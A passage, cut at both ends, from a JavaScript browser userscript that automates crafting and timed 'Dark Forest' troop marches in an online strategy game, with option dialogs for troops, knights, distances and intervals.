			Seed.resources['city'+currentcity].rec5[0]=parseInt(Seed.resources['city'+currentcity].rec5[0] - t.craftinfo[itemId].astone[1]);
		else 
			logit("NAN: " + t.craftinfo[itemId].astone[1]);
			
		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		params.action="craft";
		params.ctrl="Crafting";
		params.cityId=currentcity;
		params.insurance=false;
		params.itemId=itemId;
		params.recipeId=recipeId;
		params.categoryId=category;
		new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, { method: "post", parameters: params,loading: true,
			onSuccess: function (transport) {
				var o=eval("("+transport.responseText+")");
				if (o.updateSeed)
					unsafeWindow.update_seed(o.updateSeed);
				if(o.ok===true){
					if (o.status=="error") { // crafting error
						actionLog ('Crafting Error ('+o.errorCode+') in '+Cities.cities[c].name+' when attempting to craft '+unsafeWindow.itemlist["i"+itemId].name);
						if (o.errorCode == 2) { // server busy? delay 2 loops
							t.citydelay[c+1] = 2;
						}	
						if (o.errorCode == 6) { // city already crafting? delay 10 loops
							t.citydelay[c+1] = 10;
						}	
					} else if (o.status=="failure") { //craft failed
						actionLog ('Crafting of '+unsafeWindow.itemlist["i"+itemId].name+' FAILED in '+Cities.cities[c].name);
						// increment total craft attempts
						TrainOptions.CraftingStats[itemId][1] = TrainOptions.CraftingStats[itemId][1] + 1;
						saveTrainOptions();
					} else if (o.status=="success") { // craft successful
						actionLog ('Successfully crafting '+unsafeWindow.itemlist["i"+itemId].name+' in '+Cities.cities[c].name);
						// increment total craft attempts and successful craft attempts
						TrainOptions.CraftingStats[itemId][1] = TrainOptions.CraftingStats[itemId][1] + 1;
						TrainOptions.CraftingStats[itemId][0] = TrainOptions.CraftingStats[itemId][0] + 1;
						if (!TrainOptions.CraftingNbFix[itemId])
							TrainOptions.CraftingNb[itemId] = TrainOptions.CraftingNb[itemId] -1;
						saveTrainOptions();
						if(!Seed.queue_craft["city"+currentcity]) { Seed.queue_craft["city"+currentcity]=[]; }
						var n={};
						n.recipeId=recipeId;
						n.craftingUnixTime=o.time.startTime;
						n.craftingEtaUnixTime=o.time.endTime;
						n.craftingId=o.craftingId;
						n.categoryId=null;
						n.recipeIndex=null;
						unsafeWindow.seed.queue_craft["city"+currentcity].push(n);
						// If this item started crafting in the city the player has open, rebuild the building tab
						if (unsafeWindow.currentcityid == currentcity) {
							// if the building tab is selected, rebuild it
							if (unsafeWindow.jQuery("#queue_head_building").hasClass("sel") ) {
								unsafeWindow.queue_changetab_building();
							}
						}
					}
				}
				t.RefreshCraftNumbers();
				unsafeWindow.jQuery('#craftcity'+c).css('color', 'rgb(66, 39, 20)')
				return;
			},
			onFailure: function () { }
		});
	},

	show : function (){
		var t = Tabs.AutoCraft;
		t.updateStat();
	},
	hide: function(){
		var t = Tabs.AutoCraft;
	},
	onUnload: function(){
		var t = Tabs.AutoCraft;
		t.saveCraftState();
	},
};
  
 /*********************************  Barbing Tab - now the Dark Forest Tab ***********************************/
Tabs.Barb = {
  tabLabel: unsafeWindow.g_js_strings.commonstr.darkForest,
  tabOrder : 125,
  myDiv : null,
  MapAjax : new CMapAjax(),
  popFirst : true,
  opt : {},
  nextattack : null,
  searchRunning : false,
  tilesSearched : 0,
  tilesFound : 0,
  curX : 0,
  curY : 0,
  lastX : 0,
  firstX : 0,
  firstY : 0,
  lastY : 0,
  rallypointlevel:0,
  knt:{},
  barbArray:{},
  lookup:1,
  city:1,
  deleting:false,
  maplag:0,
  troopDef : [
      ['Supply', 1],
      ['Miltia', 2],
      ['Scout', 3],
      ['Pikes', 4],
      ['Swords', 5],
      ['Archers', 6],
      ['Cavalry', 7],
      ['Heavies', 8],
      ['Wagons', 9],
      ['Balls', 10],
      ['Rams', 11],
      ['Cats', 12],
      ['BThorn', 13],
      ['EXec', 14],
      ['Tower', 15],
      ['FlameArch', 16],
      ['Hussar', 17],
      ['Halberdier', 18],
      ['Onager', 21],
      ['Saboteur', 22],
      ['Sorcerer', 23],
      ['Stealer', 24],
     ],
    
  init : function (div){
    var t = Tabs.Barb;
    if(Options.dfbtns)AddSubTabLink(unsafeWindow.g_js_strings.commonstr.darkForest,t.toggleBarbState, 'DFToggleTab');
    t.myDiv = div;
 
    var m = '<DIV id=pbTowrtDivF class=pbStat>AUTOMATED FOREST FUNCTION</div><TABLE id=pbbarbingfunctions width=100% height=0% class=pbTab><TR align="center">';
     if (AttackOptions.Running == false) {
           m += '<TD><INPUT id=AttSearch type=submit value="Attack = OFF"></td>';
           if(document.getElementById('DFToggleTab'))document.getElementById('DFToggleTab').innerHTML = '<span style="color: #CCC">'+unsafeWindow.g_js_strings.commonstr.darkForest+': Off</span>';
       } else {
           m += '<TD><INPUT id=AttSearch type=submit value="Attack = ON"></td>';
            if(document.getElementById('DFToggleTab'))document.getElementById('DFToggleTab').innerHTML = '<span style="color: #FFFF00">'+unsafeWindow.g_js_strings.commonstr.darkForest+': On</span>';
       }
      m += '<TD><INPUT id=troopselect type=submit value="Select troops"></td>';
      m += '<TD><INPUT id=Options type=submit value="Options"></td>';
      m += '<TD><INPUT id=StopSearch type=submit value="Stop Current Search"></td>';
      m += '</tr></table></div>';
      
      m += '<DIV id=pbTraderDivD class=pbStat>FOREST STATS</div>';
    
      m += '<TABLE id=pbbarbstats width=95% height=0% class=pbTab><TR align="left"><TR>';
      for(i=0;i<Seed.cities.length;i++){
              m += '<TD>' + Seed.cities[i][1] +'</td>';
      }
      m+='</tr><TR>';
      for(i=0;i<Seed.cities.length;i++){
              m += '<TD><DIV><span id='+ 'pdtotalcity' + i +'></span></div></td>';
      }
      m+='</tr><TR>';
      for(i=0;i<Seed.cities.length;i++){
              m += '<TD><DIV><span id='+ 'pddatacity' + i +'></span></div></td>';
      }
      m+='</tr><TR>'
       for(i=0;i<Seed.cities.length;i++){
              m += '<TD><DIV><span id='+ 'pddataarray' + i +'></span></div></td>';
     }
     m+='</tr></table><TABLE id=pbbarbstats width=95% height=0% class=pbTab><TR align="left"><TR>';
     for (i=0;i<=6;i++) {
         m+='<TD><DIV><span id='+ 'pberror' + i +'></span></div></td>';
     }
     m+='</tr></table>';
     m += '<DIV id=pbTraderDivD class=pbStat>FOREST OPTIONS</div>';
     m += '<TABLE width=95% height=0% class=ptTab><TR align="left">';
     for(i=0;i<Seed.cities.length;i++){
        m += '<TR><TD>' + Seed.cities[i][1] +'</td>';
        for (w=1;w<=15;w++){
           m += '<TD class=pblevelopt><INPUT id=pbcity'+i+'level'+w+' type=checkbox unchecked=true>Lvl:'+w+'</td>';
        }
     }
     m+='</table>'
     m+='<div id="dferrorlog"></div>';
     t.myDiv.innerHTML = m;

     saveAttackOptions();
     t.checkBarbData();

     for(i=0;i<Seed.cities.length;i++){
        var element = 'pdtotalcity'+i;
        if (t.barbArray[i+1] == undefined) document.getElementById(element).innerHTML = 'No Data';
        else document.getElementById(element).innerHTML =  'Forests:' + t.barbArray[i+1].length;
     }
    
    for(i=0;i<Seed.cities.length;i++){
        for (w=1;w<=15;w++){
            document.getElementById('pbcity'+i+'level'+w).checked = AttackOptions.Levels[i+1][w];
        }
    }
    
    document.getElementById('AttSearch').addEventListener('click', function(){t.toggleBarbState(this)} , false);
    document.getElementById('Options').addEventListener('click', t.barbOptions , false);
    document.getElementById('StopSearch').addEventListener('click', t.callStop , false);
    document.getElementById('troopselect').addEventListener('click', t.troopOptions , false);
    var element_class = document.getElementsByClassName('pblevelopt');
    for (k=0;k<element_class.length;k++){
        element_class[k].addEventListener('click', t.saveLevelOptions , false);
    }
   },
  
  saveLevelOptions : function(){
        for(i=0;i<Seed.cities.length;i++){
            AttackOptions.Levels[i+1][0]=false;
            for (w=1;w<=15;w++){
                var ele = document.getElementById('pbcity'+i+'level'+w);
                AttackOptions.Levels[i+1][w]=ele.checked;
                if (ele.checked)                    
                    AttackOptions.Levels[i+1][0]=true;
            }        
        }
        saveAttackOptions();
   },
   
  troopOptionsOld: function(){
       var t = Tabs.Barb;
      var troopDef = t.troopDef;
       if(t.troopselect == null)    
        t.troopselect = new pbPopup ('pbtroopselect', 0, 0, 850, 450, true, function(){t.saveTroops();});
       t.troopselect.centerMe (mainPop.getMainDiv());  
       var z= '<DIV id=pbTraderDivD class=pbStat>TROOP SELECTION</div><TABLE width=100%><TR>';
     z+='<TD></td>';
     for(var i=0; i<troopDef.length; i++)
        z+='<TD>'+troopDef[i][0]+'</td>';
     z+='<TD>MIN dist</td><TD>MAX dist</td>';
     for(i=0;i<15;i++){
		if (!AttackOptions.MinDistance[i+1]) AttackOptions.MinDistance[i+1] = 0;
		if (!AttackOptions.Distance[i+1]) AttackOptions.Distance[i+1] = 750;
         z += '<TR><TD>Level_'+(i+1)+': </td>';
         for(var j=0; j<troopDef.length; j++){
			if (!AttackOptions.Troops[i+1]) AttackOptions.Troops[i+1] = {};
             z += '<TD><INPUT id="level'+i+'troop'+j+'" type=text size=5 maxlength=6 value="'+(AttackOptions.Troops[i+1][j+1]?AttackOptions.Troops[i+1][j+1]:0)+'" /></td>';
         }
        z+='<TD align=left><INPUT id=Mindist'+i+' type=text size=3 maxlength=3 value="'+AttackOptions.MinDistance[i+1]+'"</td>';
         z+='<TD align=right><INPUT id=dist'+i+' type=text size=3 maxlength=3 value="'+AttackOptions.Distance[i+1]+'"</td>';
         z+='</tr>';                 
     }
     z+='</table>';
      t.troopselect.getMainDiv().innerHTML = z;
      t.troopselect.show(true);
  },

  troopOptions: function(){
  	 var t = Tabs.Barb;
         var troopDef = t.troopDef;
  	 if(t.troopselect == null)	
         t.troopselect = new pbPopup ('pbtroopselect', 0, 0, 980, 650, true, function(){t.saveTroops();});
  	 t.troopselect.centerMe (mainPop.getMainDiv());  
  	 var z= '<DIV id=pbTraderDivD class=pbStat>TROOP SELECTION</div><TABLE width=100%><TR>';
	 z+='<TD></td>';
	 for(var j=0; j<15; j++)
		z+='<TD>Level '+(j+1)+'</td>';
	 z+='</tr>';		 		

	 for(i=0;i<troopDef.length;i++){
	 	z += '<TR><TD>'+troopDef[i][0]+': </td>';
	 	for(var j=0; j<15; j++){
			if (!AttackOptions.Troops[j+1]) AttackOptions.Troops[j+1] = {};
             z += '<TD><INPUT id="level'+j+'troop'+i+'" type=text size=5 maxlength=6 value="'+(AttackOptions.Troops[j+1][i+1]?AttackOptions.Troops[j+1][i+1]:0)+'" /></td>';
	 	}
	 	z+='</tr>';		 		
	 }

	 z+='<TR><TD>MIN dist</td>';		 		
	 for(var j=0; j<15; j++){
	 	z+='<TD><INPUT id=Mindist'+j+' type=text size=3 maxlength=3 value="'+AttackOptions.MinDistance[j+1]+'"</td>';
	 }
	 z+='</tr>';		 		
	 z+='<TR><TD>MAX dist</td>';		 		
	 for(var j=0; j<15; j++){
	 	z+='<TD><INPUT id=dist'+j+' type=text size=3 maxlength=3 value="'+AttackOptions.Distance[j+1]+'"</td>';
	 }
	 z+='</tr>';		 		
	 z+='</table>';
	 t.troopselect.getMainDiv().innerHTML = z;
	 t.troopselect.show(true);
  },  
  barbOptions: function(){
       var t = Tabs.Barb;
       if(t.barboptions == null)    
        t.barboptions = new pbPopup ('pbbarboptions', 0,0, 400,400, true);
       t.barboptions.centerMe (mainPop.getMainDiv());  
     t.barboptions.getTopDiv().innerHTML = '<CENTER><b>Dark Forest Options for server '+getServerId()+'</b></CENTER>';
      var y = '<DIV style="max-height:400px; overflow-y:auto;"><DIV class=pbStat>RESET FORESTS</div><TABLE width=100%>';
       y +='<TR><TD style="margin-top:5px; text-align:center;"><INPUT id=pbresetbarbs type=submit value="Reset Forests"></td>';
       y +='<TD style="margin-top:5px; text-align:center;"><INPUT id=pbpaintbarbs type=submit value="Show forests"></td>';
       y += '<TD><SELECT id=pbcity type=list></td></tr></table>';
       y +='<table width=100%><TD colspan=2 style="margin-top:5px; text-align:center;"><DIV class=pbStat> OPTIONS </div></td>';
     y +='<TR><TD>Attack interval: </td><td><INPUT id=pbsendint type=text size=4 maxlength=3 value='+ AttackOptions.SendInterval +' \> seconds</td></tr>';
     y +='<TR><TD>Max search distance: </td><td><INPUT id=pbmaxdist type=text size=4 maxlength=3 value='+ AttackOptions.MaxDistance +' \></td></tr>';
     y +='<TR><TD>Keep rallypoint slot(s) free: </td><Td><INPUT id=rallyclip type=text size=3 maxlength=2 value="'+AttackOptions.RallyClip+'" \> </td></tr>';
     y +='<TR><TD><INPUT id=pbreset type=checkbox '+(AttackOptions.UpdateEnabled?'CHECKED':'')+'\> Reset search every </td><td><INPUT id=pbresetint type=text size=4 maxlength=3 value='+AttackOptions.UpdateInterval+' \>minutes</td></tr>';
     y +='<TR><TD> Skip city search after </td><td><INPUT id=barbstopsearch type=text size=3 value='+AttackOptions.stopsearch+' \> tries.</td></tr>';
     y +='<TR><TD>Method : </td><Td> '+htmlSelector({distance:'Closest first', level:'Highest level first', lowlevel:'Lowest level first'}, AttackOptions.Method, 'id=pbmethod')+'</td></tr>';
     y +='<TR><TD>Knight priority : </td><td>'+htmlSelector({0:'Lowest combat skill', 1:'Highest combat skill'}, AttackOptions.knightselector, 'id=barbknight')+'</td></tr>';
     y +='<tr><td>Minimum knight Combat level to send: </td><td><input id=barbMinKnight type=text size=3 value='+AttackOptions.barbMinKnight+' \></td></tr>';
     y +='<tr><td>Maximum knight Combat level to send: </td><td><input id=barbMaxKnight type=text size=3 value='+AttackOptions.barbMaxKnight+' \></td></tr>';
     y +='<tr><td>Stop hitting Dark forests when Aetherstone in city is more than: </td><td><INPUT id=pbaothreshold type=text size=7 maxlength=7 value='+ AttackOptions.threshold +' \></td></tr>';
     y +='<TD><INPUT id=pbsenddfreport type=checkbox '+ (AttackOptions.MsgEnabled?'CHECKED':'') +'\> Send DF report every ';
     y +='<INPUT id=pbsenddfreportint value='+ AttackOptions.MsgInterval +' type=text size=3 \> hours </td>';     
     y+='</table></td></tr></table>';
       t.barboptions.getMainDiv().innerHTML = y;
       t.barboptions.show(true);
    
    document.getElementById('pbcity').options.length=0;
    for (i=0;i<Seed.cities.length;i++){
        var o = document.createElement("option");
        o.text = Seed.cities[i][1]
        o.value = i+1;
        document.getElementById("pbcity").options.add(o);
    }
       
    document.getElementById('pbpaintbarbs').addEventListener('click', function(){
            t.showBarbs(document.getElementById("pbcity").value,Seed.cities[document.getElementById("pbcity").value -1][1]);
            
    },false);
    document.getElementById('pbresetbarbs').addEventListener('click', t.deletebarbs,false);
    document.getElementById('pbmethod').addEventListener('change', function(){
        AttackOptions.Method=document.getElementById('pbmethod').value;
        saveAttackOptions();
        t.checkBarbData();
    },false);
    document.getElementById('barbknight').addEventListener('change', function(){
        AttackOptions.knightselector=document.getElementById('barbknight').value;
        saveAttackOptions();
    },false);
    document.getElementById('pbreset').addEventListener('change', function(){
        AttackOptions.UpdateEnabled=document.getElementById('pbreport').checked;
        saveAttackOptions();
    },false);
    document.getElementById('pbresetint').addEventListener('change', function(){
        AttackOptions.UpdateInterval=parseInt(document.getElementById('pbresetint').value);
        saveAttackOptions();
    },false);
    document.getElementById('pbsendint').addEventListener('change', function(){
        if(parseInt(document.getElementById('pbsendint').value) <5) 
            document.getElementById('pbsendint').value = 5; //Set minimum attack interval to 5 seconds
        AttackOptions.SendInterval=parseInt(document.getElementById('pbsendint').value);
        saveAttackOptions();
    },false);
    document.getElementById('pbmaxdist').addEventListener('change', function(){
        if(parseInt(document.getElementById('pbmaxdist').value) > 75)
            document.getElementById('pbmaxdist').value = 75;
        AttackOptions.MaxDistance=parseInt(document.getElementById('pbmaxdist').value);
        saveAttackOptions();
    },false);
    document.getElementById('rallyclip').addEventListener('change', function(){
        AttackOptions.RallyClip=parseInt(document.getElementById('rallyclip').value);
        saveAttackOptions();
    },false);
    
    document.getElementById('barbMinKnight').addEventListener('change', function(){
        AttackOptions.barbMinKnight=parseInt(document.getElementById('barbMinKnight').value);
        saveAttackOptions();
    },false);
    document.getElementById('barbMaxKnight').addEventListener('change', function(){
        AttackOptions.barbMaxKnight=parseInt(document.getElementById('barbMaxKnight').value);
        saveAttackOptions();
    },false);
    document.getElementById('pbaothreshold').addEventListener('change', function(){
        AttackOptions.threshold=parseInt(document.getElementById('pbaothreshold').value);
        saveAttackOptions();
    },false);
    document.getElementById('barbstopsearch').addEventListener('change', function(){
        document.getElementById('barbstopsearch').value = parseInt(document.getElementById('barbstopsearch').value)>0?document.getElementById('barbstopsearch').value:1
        AttackOptions.stopsearch=parseInt(document.getElementById('barbstopsearch').value);
        saveAttackOptions();
    },false);  
      document.getElementById('pbsenddfreport').addEventListener('change', function(){
        AttackOptions.MsgEnabled = document.getElementById('pbsenddfreport').checked;
        saveAttackOptions();
    }, false);
    document.getElementById('pbsenddfreportint').addEventListener('change', function(){
        AttackOptions.MsgInterval = parseInt(document.getElementById('pbsenddfreportint').value);
        saveAttackOptions();
    }, false);      
  },
  
    showBarbs: function (citynumber,cityname) {
        var t = Tabs.Barb;
        var popTradeRoutes = null;
        t.popTradeRoutes = new pbPopup('pbShowBarbs', 0, 0, 500, 500, true, function() {clearTimeout (1000);});
        var m = '<DIV style="max-height:460px; height:460px; overflow-y:auto"><TABLE align=center cellpadding=0 cellspacing=0 width=100% class="pbShowBarbs" id="pbBars">';       
        t.popTradeRoutes.getMainDiv().innerHTML = '</table></div>' + m;
        t.popTradeRoutes.getTopDiv().innerHTML = '<TD><B>Dark Forests for city: '+cityname+'</td>';
        t.paintBarbs(citynumber,cityname);
        t._addTabHeader(citynumber,cityname);
        t.popTradeRoutes.show(true)    ;
     },
      paintBarbs: function(i,cityname){
            var t = Tabs.Barb;
		if (t.barbArray[i] == undefined) return;
                for (k=(t.barbArray[i].length-1);k>=0;k--){t._addTab(i,cityname,k+1,t.barbArray[i][k]['x'], t.barbArray[i][k]['y'],t.barbArray[i][k]['dist'], t.barbArray[i][k]['level']);}
        },
      
  _addTab: function(citynumber,cityname,queueId,X,Y,dist,level){
     var t = Tabs.Barb;
     var row = document.getElementById('pbBars').insertRow(0);
     row.vAlign = 'top';
     row.insertCell(0).innerHTML = queueId;
     row.insertCell(1).innerHTML = X;
     row.insertCell(2).innerHTML = Y;
     row.insertCell(3).innerHTML = dist;
     row.insertCell(4).innerHTML = level;
     row.insertCell(5).innerHTML = '<a class="button20" id="barbdel_' + queueId + '"><span>Delete</span></a>';
     document.getElementById('barbdel_' + queueId).addEventListener('click', function(){
        t.deleteBarbElement(citynumber,queueId,cityname, true);
     }, false);
  },
     
  _addTabHeader: function(citynumber,cityname) {
     var t = Tabs.Barb;
     var row = document.getElementById('pbBars').insertRow(0);
     row.vAlign = 'top';
     row.insertCell(0).innerHTML = "City";
     row.insertCell(1).innerHTML = "X";
     row.insertCell(2).innerHTML = "Y";
     row.insertCell(3).innerHTML = "Dist.";
     row.insertCell(4).innerHTML = "Level";
     row.insertCell(5).innerHTML = '<a class="button20" id="barbdelAll"><span>Delete ALL</span></a>';
     document.getElementById('barbdelAll').addEventListener('click', function(){
        t.deleteBarbsCity(citynumber,cityname);
     }, false);
  },   
       
  deleteBarbElement: function(citynumber,queueId,cityname,showFlag){
      var t = Tabs.Barb;
      var queueId = parseInt(queueId);
      var myarray = t.barbArray[citynumber];
      if (myarray) {
        myarray.splice((queueId-1), 1);
        GM_setValue('DF_' + Seed.player['name'] + '_city_' + citynumber + '_' + getServerId(), JSON2.stringify(myarray));
        t.checkBarbData();
        if (showFlag) t.showBarbs(citynumber,cityname);
      }
      else
      {
          //logit("not found");
      }
  },
      
  deleteBarbsCity: function(citynumber,cityname){
      var t = Tabs.Barb;
      var queueId = parseInt(queueId);
      AttackOptions.Update[citynumber][1] = 0;
      GM_deleteValue('DF_' + Seed.player['name'] + '_city_' + citynumber + '_' + getServerId())
      t.checkBarbData();
      t.showBarbs(citynumber,cityname);
      //reloadKOC();
  },  
  
  saveTroops: function(){
      var t = Tabs.Barb;
    for(i=0;i<15;i++){
           for (w=0;w<t.troopDef.length;w++){
               AttackOptions.Troops[i+1][w+1] = parseIntNan(document.getElementById('level'+i+'troop'+w).value);
           }
        if(parseIntNan(document.getElementById('dist'+i).value) > AttackOptions.MaxDistance)
            document.getElementById('dist'+i).value = AttackOptions.MaxDistance;
        AttackOptions.MinDistance[i+1] = parseIntNan(document.getElementById('Mindist'+i).value);
           AttackOptions.Distance[i+1] = parseIntNan(document.getElementById('dist'+i).value);             
     }
     saveAttackOptions();
  },
  
   deletebarbs: function(){
    for (i=1;i<=Seed.cities.length;i++){
        AttackOptions.Update[i][1] = 0;
        GM_deleteValue('DF_' + Seed.player['name'] + '_city_' + i + '_' + getServerId())
    }
    //reloadKOC();
   },

  checkBarbData: function(){
      var t = Tabs.Barb;
    if(!AttackOptions.Running) return;
      for (i=1;i<=Seed.cities.length;i++){
      
        // if(GM_getValue('Barbs_' + Seed.player['name'] + '_city_' + i + '_' + getServerId())) //Remove old auto barb data
            // GM_deleteValue('Barbs_' + Seed.player['name'] + '_city_' + i + '_' + getServerId());
      
        if (!AttackOptions.Levels[i][0]) continue; //Skip city if not selected
        
        t.barbArray[i] = [];
          var myarray = JSON2.parse(GM_getValue('DF_' + Seed.player['name'] + '_city_' + i + '_' + getServerId(),"[]"));
        
        if ((myarray == undefined || myarray.length == 0) && t.searchRunning==false) {
              t.lookup=i;
            if(parseInt(AttackOptions.Update[t.lookup][1]) >= parseInt(AttackOptions.stopsearch)) continue; //Skip if search results are empty more than X times
            t.searchRunning = true;
              t.opt.startX = parseInt(Seed.cities[(i-1)][2]);
              t.opt.startY = parseInt(Seed.cities[(i-1)][3]);  
              t.clickedSearch();
          }
        if (myarray){
            if(AttackOptions.Method == 'distance') t.barbArray[i] = myarray.sort(function sortBarbs(a,b) {a = a['dist'];b = b['dist'];return a == b ? 0 : (a < b ? -1 : 1);});
            if(AttackOptions.Method == 'level') t.barbArray[i] = myarray.sort(function sortBarbs(a,b) {a = a['level']+a['dist'];b = b['level']+b['dist'];return a == b ? 0 : (a > b ? -1 : 1);});
            if(AttackOptions.Method == 'lowlevel') t.barbArray[i] = myarray.sort(function sortBarbs(a,b) {a = a['level']+a['dist'];b = b['level']+b['dist'];return a == b ? 0 : (a < b ? -1 : 1);});
              GM_setValue('DF_' + Seed.player['name'] + '_city_' + i + '_' + getServerId(), JSON2.stringify(t.barbArray[i]));
          }
        AttackOptions.Update[i][1] = 0;
        saveAttackOptions();
      }
        t.nextattack = setTimeout(t.getnextCity, parseInt((1+AttackOptions.SendInterval)*1000));
  },
  
  toggleBarbState: function(obj){
     obj = document.getElementById('AttSearch');
    var t = Tabs.Barb;
    if (AttackOptions.Running == true) {
        AttackOptions.Running = false;
        obj.value = "Attack = OFF";
        if(document.getElementById('DFToggleTab'))document.getElementById('DFToggleTab').innerHTML = '<span style="color: #CCC">'+unsafeWindow.g_js_strings.commonstr.darkForest+': Off</span>';
        saveAttackOptions();
        t.nextattack = null;
    } else {
        AttackOptions.Running = true;
        obj.value = "Attack = ON";
        if(document.getElementById('DFToggleTab'))document.getElementById('DFToggleTab').innerHTML = '<span style="color: #FFFF00">'+unsafeWindow.g_js_strings.commonstr.darkForest+': On</span>';
        saveAttackOptions();
        t.checkBarbData();
        t.nextattack = setTimeout(t.getnextCity, parseInt((1+AttackOptions.SendInterval)*1000));
    }
  },
  
  barbing : function(){
       var t = Tabs.Barb;
       var city = t.city;
       citynumber = Seed.cities[city-1][0];
       cityID = 'city' + citynumber;
       t.getAtkKnight(cityID);
       var slots = March.getMarchSlots(citynumber);
      
      //Only send DF if city is not over 750K astone:: rewritten I want df's to farm items and level knights.. who cares about aetherstone?  -baos
      if (Seed.resources[cityID]["rec5"][0] > Number(AttackOptions.threshold)) {
         return;
      };
       var element1 = 'pddatacity'+(city-1);
       if (t.barbArray[city].length == 0) document.getElementById(element1).innerHTML = 'In search mode'; else
         document.getElementById(element1).innerHTML = 'Sent: ' + AttackOptions.BarbsDone[city];
       var element2 = 'pddataarray'+(city-1);
       document.getElementById(element2).innerHTML =  'RP: (' + slots + '/' + March.getTotalSlots(citynumber) +')';
       if (Number(Number(March.getTotalSlots(citynumber))-Number(slots)) <= Number(AttackOptions.RallyClip)) return;
       if (t.knt.toSource() == "[]") return;
       var kid = t.knt[0].ID;
       
       
       if(t.barbArray[city] && t.barbArray[city].length > 0){
        var barbinfo = t.barbArray[city].shift();
       }else if(parseInt(AttackOptions.Update[city][1])==0){
        if(!t.searchRunning)t.checkBarbData();
        return;
       } else {
        return;
       };
       var check=0;
       var barblevel = parseInt(barbinfo.level);
        
        if (AttackOptions.Levels[city][barbinfo.level])
            check=1;
        
        if (barbinfo.dist < AttackOptions.MinDistance[barblevel] || barbinfo.dist > AttackOptions.Distance[barblevel]){
            check=0;
            GM_setValue('DF_' + Seed.player['name'] + '_city_' + city + '_' + getServerId(), JSON2.stringify(t.barbArray[city]));
            return;
        }
         // check troop levels in city
         var trps = AttackOptions.Troops[barblevel];
         var num_troops = 0;
         for (var ii=1; ii<t.troopDef.length+1; ii++) {
            if (parseInt(trps[ii]) > Seed.units[cityID]['unt'+ii]) check = 0;
            num_troops += trps[ii];
         }
         if (num_troops == 0) check = 0;
         
       if (check == 0){
        t.barbArray[city].push(barbinfo);
        GM_setValue('DF_' + Seed.player['name'] + '_city_' + city + '_' + getServerId(), JSON2.stringify(t.barbArray[city]));
        return;
       }
       var element = 'pdtotalcity'+(city-1);
        if (t.barbArray[city] == undefined) document.getElementById(element).innerHTML = 'No Data';
        else document.getElementById(element).innerHTML =  'Forests:' + t.barbArray[city].length;
       var xcoord = barbinfo['x'];
       var ycoord = barbinfo['y'];
       t.doBarb(citynumber,city,xcoord,ycoord,barblevel,kid,trps);
       saveAttackOptions();
  },

  getnextCity: function(){
    var t = Tabs.Barb;
    if(!AttackOptions.Running) return;
    
    var city = t.city+1;
    if (city>Seed.cities.length){
        city=1;
    }

    for (i=city; i<=Seed.cities.length; i++) {
	if (!AttackOptions.Levels[i][0]) continue; //Skip city if not selected
	else {
	  city=i;
	  break;
	}
    }

    t.city = city;
    if(AttackOptions.UpdateEnabled){
        var now = unixTime();
        if(now > parseInt(AttackOptions.Update[city][0] + (AttackOptions.UpdateInterval*60))){
            AttackOptions.Update[city][1]=0;
            t.barbArray[city] = []; //Clears data if last update was more than X minutes
            GM_deleteValue('DF_' + Seed.player['name'] + '_city_' + city + '_' + getServerId())
            GM_setValue('DF_' + Seed.player['name'] + '_city_' + city + '_' + getServerId(), JSON2.stringify(t.barbArray[city]));
        }
    }
    
    if(AttackOptions.Levels[city][0]){
        t.barbing();
        t.nextattack = setTimeout(t.getnextCity, parseInt((1+AttackOptions.SendInterval)*1000));
    } else {
        t.getnextCity();
    }
        
  },
  
  getAtkKnight : function(cityID){
     var t = Tabs.Barb;
     t.knt = new Array();
     for (k in Seed.knights[cityID]){
             if (Seed.knights[cityID][k]["knightStatus"] == 1 && Seed.leaders[cityID]["resourcefulnessKnightId"] != Seed.knights[cityID][k]["knightId"] && Seed.leaders[cityID]["politicsKnightId"] != Seed.knights[cityID][k]["knightId"] && Seed.leaders[cityID]["combatKnightId"] != Seed.knights[cityID][k]["knightId"] && Seed.leaders[cityID]["intelligenceKnightId"] != Seed.knights[cityID][k]["knightId"] && Seed.knights[cityID][k]["combat"] >= AttackOptions.barbMinKnight && Seed.knights[cityID][k]["combat"] <= AttackOptions.barbMaxKnight){
                 t.knt.push ({
                     Name:   Seed.knights[cityID][k]["knightName"],
                     Combat:    Seed.knights[cityID][k]["combat"],
                     ID:        Seed.knights[cityID][k]["knightId"],
                 });
             }
     }
     t.knt = t.knt.sort(function sort(a,b) {
                            a = parseInt(a['Combat']);
                            b = parseInt(b['Combat']);
                            if(parseInt(AttackOptions.knightselector) > 0)
                                return a == b ? 0 : (a > b ? -1 : 1);
                            else
                                return a == b ? 0 : (a < b ? -1 : 1);
                            });
  },
    
  doBarb: function(cityID,counter,xcoord,ycoord,level,kid,trps){
          var t = Tabs.Barb;
                   	var dtime = new Date()
          var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
          params.cid=cityID;
          params.type=4;
          params.kid=kid;
          params.xcoord = xcoord;
          params.ycoord = ycoord;
        for (ii=1; ii<parseInt(t.troopDef.length+1); ii++) {
			if(parseInt(trps[ii]) > Seed.units['city'+cityID]['unt'+ii]){
				document.getElementById('dferrorlog').innerHTML = '<FONT color=red>'+dtime.toLocaleString()+' '+Cities.byID[cityID].name+' dark forest failed: Not doing march, not enough units </FONT>';
				return;
			};
            if(parseInt(trps[ii]) > 0)
                params['u'+ii]=trps[ii];
        };
		if (parseInt(trps[ii]) > Seed.units['city'+cityID]['unt'+ii]) check = 0;

          AttackOptions.BarbsTried++;
          document.getElementById('pberror1').innerHTML = 'Tries:'+ AttackOptions.BarbsTried;
          
          March.addMarch(params, function(rslt){
           if(rslt.ok) {
                     AttackOptions.BarbsDone[counter]++;
                     var element1 = 'pddatacity'+(counter-1);
                     document.getElementById(element1).innerHTML = 'Sent: ' + AttackOptions.BarbsDone[counter];
                     var element2 = 'pddataarray'+(counter-1);
               document.getElementById(element2).innerHTML =  'RP: (' + March.getMarchSlots(cityID) + '/' + March.getTotalSlots(cityID) +')';
                     GM_setValue('DF_' + Seed.player['name'] + '_city_' + counter + '_' + getServerId(), JSON2.stringify(t.barbArray[counter]));
                     saveAttackOptions();
                   } else {
					   if(rslt.error_code && rslt.msg)document.getElementById('dferrorlog').innerHTML = '<FONT color=red>'+dtime.toLocaleString()+' '+Cities.byID[cityID].name+' dark forest failed: '+rslt.msg+'</FONT>';
                     //logit( inspect(rslt,3,1));
                     if (rslt.error_code != 8 && rslt.error_code != 213 && rslt.error_code == 210) AttackOptions.BarbsFailedVaria++;
                     if (rslt.error_code == 213)AttackOptions.BarbsFailedKnight++;
